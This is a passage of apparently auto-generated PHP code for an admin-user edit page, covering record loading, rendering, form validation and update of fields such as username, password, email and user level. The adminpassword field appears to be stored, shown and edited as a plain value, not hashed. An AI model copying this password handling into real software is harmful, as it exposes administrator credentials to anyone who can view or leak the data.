ew_UnFormatDateTime($echasl23->pwdchanged->CurrentValue, 5); } // Load row based on key values function LoadRow() { global $conn, $Security, $echasl23; $sFilter = $echasl23->KeyFilter(); // Call Row Selecting event $echasl23->Row_Selecting($sFilter); // Load SQL based on filter $echasl23->CurrentFilter = $sFilter; $sSql = $echasl23->SQL(); $res = FALSE; $rs = ew_LoadRecordset($sSql); if ($rs && !$rs->EOF) { $res = TRUE; $this->LoadRowValues($rs); // Load row values // Call Row Selected event $echasl23->Row_Selected($rs); $rs->Close(); } return $res; } // Load row values from recordset function LoadRowValues(&$rs) { global $conn, $echasl23; $echasl23->adminuserid->setDbValue($rs->fields('adminuserid')); $echasl23->adminusername->setDbValue($rs->fields('adminusername')); $echasl23->adminpassword->setDbValue($rs->fields('adminpassword')); $echasl23->profile->setDbValue($rs->fields('profile')); $echasl23->zemail->setDbValue($rs->fields('email')); $echasl23->activated->setDbValue($rs->fields('activated')); $echasl23->level->setDbValue($rs->fields('level')); $echasl23->pwdchanged->setDbValue($rs->fields('pwdchanged')); } // Render row values based on field settings function RenderRow() { global $conn, $Security, $Language, $echasl23; // Initialize URLs // Call Row_Rendering event $echasl23->Row_Rendering(); // Common render codes for all row types // adminuserid $echasl23->adminuserid->CellCssStyle = ""; $echasl23->adminuserid->CellCssClass = ""; $echasl23->adminuserid->CellAttrs = array(); $echasl23->adminuserid->ViewAttrs = array(); $echasl23->adminuserid->EditAttrs = array(); // adminusername $echasl23->adminusername->CellCssStyle = ""; $echasl23->adminusername->CellCssClass = ""; $echasl23->adminusername->CellAttrs = array(); $echasl23->adminusername->ViewAttrs = array(); $echasl23->adminusername->EditAttrs = array(); // adminpassword $echasl23->adminpassword->CellCssStyle = ""; $echasl23->adminpassword->CellCssClass = ""; $echasl23->adminpassword->CellAttrs = array(); $echasl23->adminpassword->ViewAttrs = array(); $echasl23->adminpassword->EditAttrs = array(); // profile $echasl23->profile->CellCssStyle = ""; $echasl23->profile->CellCssClass = ""; $echasl23->profile->CellAttrs = array(); $echasl23->profile->ViewAttrs = array(); $echasl23->profile->EditAttrs = array(); // email $echasl23->zemail->CellCssStyle = ""; $echasl23->zemail->CellCssClass = ""; $echasl23->zemail->CellAttrs = array(); $echasl23->zemail->ViewAttrs = array(); $echasl23->zemail->EditAttrs = array(); // activated $echasl23->activated->CellCssStyle = ""; $echasl23->activated->CellCssClass = ""; $echasl23->activated->CellAttrs = array(); $echasl23->activated->ViewAttrs = array(); $echasl23->activated->EditAttrs = array(); // level $echasl23->level->CellCssStyle = ""; $echasl23->level->CellCssClass = ""; $echasl23->level->CellAttrs = array(); $echasl23->level->ViewAttrs = array(); $echasl23->level->EditAttrs = array(); // pwdchanged $echasl23->pwdchanged->CellCssStyle = ""; $echasl23->pwdchanged->CellCssClass = ""; $echasl23->pwdchanged->CellAttrs = array(); $echasl23->pwdchanged->ViewAttrs = array(); $echasl23->pwdchanged->EditAttrs = array(); if ($echasl23->RowType == EW_ROWTYPE_VIEW) { // View row // adminuserid $echasl23->adminuserid->ViewValue = $echasl23->adminuserid->CurrentValue; $echasl23->adminuserid->CssStyle = ""; $echasl23->adminuserid->CssClass = ""; $echasl23->adminuserid->ViewCustomAttributes = ""; // adminusername $echasl23->adminusername->ViewValue = $echasl23->adminusername->CurrentValue; $echasl23->adminusername->CssStyle = ""; $echasl23->adminusername->CssClass = ""; $echasl23->adminusername->ViewCustomAttributes = ""; // adminpassword $echasl23->adminpassword->ViewValue = $echasl23->adminpassword->CurrentValue; $echasl23->adminpassword->CssStyle = ""; $echasl23->adminpassword->CssClass = ""; $echasl23->adminpassword->ViewCustomAttributes = ""; // profile $echasl23->profile->ViewValue = $echasl23->profile->CurrentValue; $echasl23->profile->CssStyle = ""; $echasl23->profile->CssClass = ""; $echasl23->profile->ViewCustomAttributes = ""; // email $echasl23->zemail->ViewValue = $echasl23->zemail->CurrentValue; $echasl23->zemail->CssStyle = ""; $echasl23->zemail->CssClass = ""; $echasl23->zemail->ViewCustomAttributes = ""; // activated $echasl23->activated->ViewValue = $echasl23->activated->CurrentValue; $echasl23->activated->CssStyle = ""; $echasl23->activated->CssClass = ""; $echasl23->activated->ViewCustomAttributes = ""; // level if (strval($echasl23->level->CurrentValue) <> "") { $sFilterWrk = "`userlevelid` = " . ew_AdjustSql($echasl23->level->CurrentValue) . ""; $sSqlWrk = "SELECT `userlevelname` FROM `userlevels`"; $sWhereWrk = ""; if ($sFilterWrk <> "") { if ($sWhereWrk <> "") $sWhereWrk .= " AND "; $sWhereWrk .= "(" . $sFilterWrk . ")"; } if ($sWhereWrk <> "") $sSqlWrk .= " WHERE " . $sWhereWrk; $rswrk = $conn->Execute($sSqlWrk); if ($rswrk && !$rswrk->EOF) { // Lookup values found $echasl23->level->ViewValue = $rswrk->fields('userlevelname'); $rswrk->Close(); } else { $echasl23->level->ViewValue = $echasl23->level->CurrentValue; } } else { $echasl23->level->ViewValue = NULL; } $echasl23->level->CssStyle = ""; $echasl23->level->CssClass = ""; $echasl23->level->ViewCustomAttributes = ""; // pwdchanged $echasl23->pwdchanged->ViewValue = $echasl23->pwdchanged->CurrentValue; $echasl23->pwdchanged->ViewValue = ew_FormatDateTime($echasl23->pwdchanged->ViewValue, 5); $echasl23->pwdchanged->CssStyle = ""; $echasl23->pwdchanged->CssClass = ""; $echasl23->pwdchanged->ViewCustomAttributes = ""; // adminuserid $echasl23->adminuserid->HrefValue = ""; $echasl23->adminuserid->TooltipValue = ""; // adminusername $echasl23->adminusername->HrefValue = ""; $echasl23->adminusername->TooltipValue = ""; // adminpassword $echasl23->adminpassword->HrefValue = ""; $echasl23->adminpassword->TooltipValue = ""; // profile $echasl23->profile->HrefValue = ""; $echasl23->profile->TooltipValue = ""; // email $echasl23->zemail->HrefValue = ""; $echasl23->zemail->TooltipValue = ""; // activated $echasl23->activated->HrefValue = ""; $echasl23->activated->TooltipValue = ""; // level $echasl23->level->HrefValue = ""; $echasl23->level->TooltipValue = ""; // pwdchanged $echasl23->pwdchanged->HrefValue = ""; $echasl23->pwdchanged->TooltipValue = ""; } elseif ($echasl23->RowType == EW_ROWTYPE_EDIT) { // Edit row // adminuserid $echasl23->adminuserid->EditCustomAttributes = ""; $echasl23->adminuserid->EditValue = $echasl23->adminuserid->CurrentValue; $echasl23->adminuserid->CssStyle = ""; $echasl23->adminuserid->CssClass = ""; $echasl23->adminuserid->ViewCustomAttributes = ""; // adminusername $echasl23->adminusername->EditCustomAttributes = ""; $echasl23->adminusername->EditValue = ew_HtmlEncode($echasl23->adminusername->CurrentValue); // adminpassword $echasl23->adminpassword->EditCustomAttributes = ""; $echasl23->adminpassword->EditValue = ew_HtmlEncode($echasl23->adminpassword->CurrentValue); // profile $echasl23->profile->EditCustomAttributes = ""; $echasl23->profile->EditValue = ew_HtmlEncode($echasl23->profile->CurrentValue); // email $echasl23->zemail->EditCustomAttributes = ""; $echasl23->zemail->EditValue = ew_HtmlEncode($echasl23->zemail->CurrentValue); // activated $echasl23->activated->EditCustomAttributes = ""; $echasl23->activated->EditValue = ew_HtmlEncode($echasl23->activated->CurrentValue); // level $echasl23->level->EditCustomAttributes = ""; $sFilterWrk = ""; $sSqlWrk = "SELECT `userlevelid`, `userlevelname`, '' AS Disp2Fld, '' AS SelectFilterFld FROM `userlevels`"; $sWhereWrk = ""; if ($sFilterWrk <> "") { if ($sWhereWrk <> "") $sWhereWrk .= " AND "; $sWhereWrk .= "(" . $sFilterWrk . ")"; } if ($sWhereWrk <> "") $sSqlWrk .= " WHERE " . $sWhereWrk; $rswrk = $conn->Execute($sSqlWrk); $arwrk = ($rswrk) ? $rswrk->GetRows() : array(); if ($rswrk) $rswrk->Close(); array_unshift($arwrk, array("", $Language->Phrase("PleaseSelect"))); $echasl23->level->EditValue = $arwrk; // pwdchanged $echasl23->pwdchanged->EditCustomAttributes = ""; $echasl23->pwdchanged->EditValue = ew_HtmlEncode(ew_FormatDateTime($echasl23->pwdchanged->CurrentValue, 5)); // Edit refer script // adminuserid $echasl23->adminuserid->HrefValue = ""; // adminusername $echasl23->adminusername->HrefValue = ""; // adminpassword $echasl23->adminpassword->HrefValue = ""; // profile $echasl23->profile->HrefValue = ""; // email $echasl23->zemail->HrefValue = ""; // activated $echasl23->activated->HrefValue = ""; // level $echasl23->level->HrefValue = ""; // pwdchanged $echasl23->pwdchanged->HrefValue = ""; } // Call Row Rendered event if ($echasl23->RowType <> EW_ROWTYPE_AGGREGATEINIT) $echasl23->Row_Rendered(); } // Validate form function ValidateForm() { global $Language, $gsFormError, $echasl23; // Initialize form error message $gsFormError = ""; // Check if validation required if (!EW_SERVER_VALIDATE) return ($gsFormError == ""); if (!is_null($echasl23->adminusername->FormValue) && $echasl23->adminusername->FormValue == "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $Language->Phrase("EnterRequiredField") . " - " . $echasl23->adminusername->FldCaption(); } if (!is_null($echasl23->adminpassword->FormValue) && $echasl23->adminpassword->FormValue == "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $Language->Phrase("EnterRequiredField") . " - " . $echasl23->adminpassword->FldCaption(); } if (!ew_CheckInteger($echasl23->activated->FormValue)) { if ($gsFormError <> "") $gsFormError .= "<br>"; $gsFormError .= $echasl23->activated->FldErrMsg(); } if (!ew_CheckDate($echasl23->pwdchanged->FormValue)) { if ($gsFormError <> "") $gsFormError .= "<br>"; $gsFormError .= $echasl23->pwdchanged->FldErrMsg(); } // Return validate result $ValidateForm = ($gsFormError == ""); // Call Form_CustomValidate event $sFormCustomError = ""; $ValidateForm = $ValidateForm && $this->Form_CustomValidate($sFormCustomError); if ($sFormCustomError <> "") { $gsFormError .= ($gsFormError <> "") ? "<br>" : ""; $gsFormError .= $sFormCustomError; } return $ValidateForm; } // Update record based on key values function EditRow() { global $conn, $Security, $Language, $echasl23; $sFilter = $echasl23->KeyFilter(); $echasl23->CurrentFilter = $sFilter; $sSql = $echasl23->SQL(); $conn->raiseErrorFn = 'ew_ErrorFn'; $rs = $conn->Execute($sSql); $conn->raiseErrorFn = ''; if ($rs === FALSE) return FALSE; if ($rs->EOF) { $EditRow = FALSE; // Update Failed } else { // Save old values $rsold =& $rs->fields; $rsnew = array(); // adminusername $echasl23->adminusername->SetDbValueDef($rsnew, $echasl23->adminusername->CurrentValue, "", FALSE); // adminpassword $echasl23->adminpassword->SetDbValueDef($rsnew, $echasl23->adminpassword->CurrentValue, "", FALSE); // profile $echasl23->profile->SetDbValueDef($rsnew, $echasl23->profile->CurrentValue, NULL, FALSE); // email $echasl23->zemail->SetDbValueDef($rsnew, $echasl23->zemail->CurrentValue, NULL, FALSE); // activated $echasl23->activated->SetDbValueDef($rsnew, $echasl23->activated->CurrentValue, NULL, FALSE); // level $echasl23->level->SetDbValueDef($rsnew, $echasl23->level->CurrentValue, NULL, FALSE); // pwdchanged $echasl23->pwdchanged->SetDbValueDef($rsnew, ew_UnFormatDateTime($echasl23->pwdchanged->CurrentValue, 5, FALSE), NULL); // Call Row Updating event $bUpdateRow = $echasl23->Row_Updating($rsold, $rsnew); if ($bUpdateRow) { $conn->raiseErrorFn = 'ew_ErrorFn'; $EditRow = $conn->Execute($echasl23->UpdateSQL($rsnew)); $conn->raiseErrorFn = ''; } else { if ($echasl23->CancelMessage <> "") { $this->setMessage($echasl23->CancelMessage); $echasl23->CancelMessage = ""; } else { $this->setMessage($Language->Phrase("UpdateCancelled")); } $EditRow = FALSE; } } // Call Row_Updated event if ($EditRow) $echasl23->Row_Updated($rsold, $rsnew); $rs->Close(); return $EditRow; } // Page Load event function Page_Load() { //echo "Page Load"; } // Page Unload event function Page_Unload() { //echo "Page Unload"; } // Page Redirecting event function Page_Redirecting(&$url) { // Example: //$url = "your URL"; } // Message Showing event function Message_Showing(&$msg) { // Example: //$msg = "your new message"; } // Form Custom Validate event function Form_CustomValidate(&$CustomError) { // Return error message in CustomError return TRUE; } } ?>